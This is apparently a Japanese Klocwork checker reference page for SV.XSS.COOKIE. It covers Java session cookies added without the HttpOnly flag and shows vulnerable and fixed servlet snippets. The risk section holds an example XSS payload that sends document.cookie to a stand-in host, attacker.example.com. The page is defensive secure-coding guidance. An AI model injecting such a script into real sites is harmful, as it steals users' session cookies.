SV.XSS.COOKIE

setHttpOnly フラグのない機密性の高いクッキー

クライアントの Web サイトとの対話に関するセッション ID の格納に使用されるクッキーは、クライアントが行うリクエストを検証できるようになりますが、setHttpOnly フラグを設定せずに HttpServletResponse オブジェクトにそれが追加される場合に、Klocwork は SV.XSS.COOKIE の欠陥を報告します。

脆弱性とリスク

クロスサイトスクリプティング (XSS) を実行できる攻撃者は、次のような悪意のあるスクリプトを挿入する可能性があります。
コピー
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie .'">'
クライアントがこのスクリプトをロードして実行すると、攻撃者が制御する Web サイトにリクエストを行います。その後、攻撃者はそのリクエストをログに記録し、クッキーを盗むことができます。

軽減と防止

HttpOnly フラグは、互換性のあるブラウザーに、クライアント側のスクリプトがクッキーにアクセスするのを防ぐように指示します。Set-Cookie HTTP 応答ヘッダーに HttpOnly フラグを含めることは、攻撃者のスクリプトコードがクッキーの内容を読み取って盗み出そうとするような、XSS に関連するリスクを軽減するのに役立ちます。設定されている場合、そのフラグをサポートしているブラウザーは、XSS を使用して実行される第三者のクライアント側スクリプトに、クッキーの内容を公開しません。

脆弱コード例 1

コピー
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   response.addCookie(c);

Klocwork は 3 行目で SV.XSS.COOKIE の欠陥を報告し、「setHttpOnly フラグのないクッキーでの攻撃の可能性」を表示します。これは、応答に追加する前に setHttpOnly フラグがクッキーで設定されていないためです。

修正コード例 1

コピー
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(true);
   response.addCookie(c);

setHttpOnly フラグが 3 行目でクッキーに設定されているため、Klockwork は 4 行目で SV.XSS.COOKIE の欠陥を報告しなくなりました。

脆弱コード例 2

コピー
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(false);
   response.addCookie(c);

Klocwork は4 行目にある SV.XSS.COOKIE の欠陥を報告し、「setHttpOnly フラグのないクッキーでの攻撃の可能性」を表示します。setHttpOnly メソッドが呼び出されていますが、3 行目で false として設定されています。

修正コード例 2

コピー
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(true);
   response.addCookie(c);

3 行目で setHttpOnly フラグが cookie に設定されているため、Klocwork は 4 行目で SV.XSS.COOKIE 欠陥を報告しなくなります。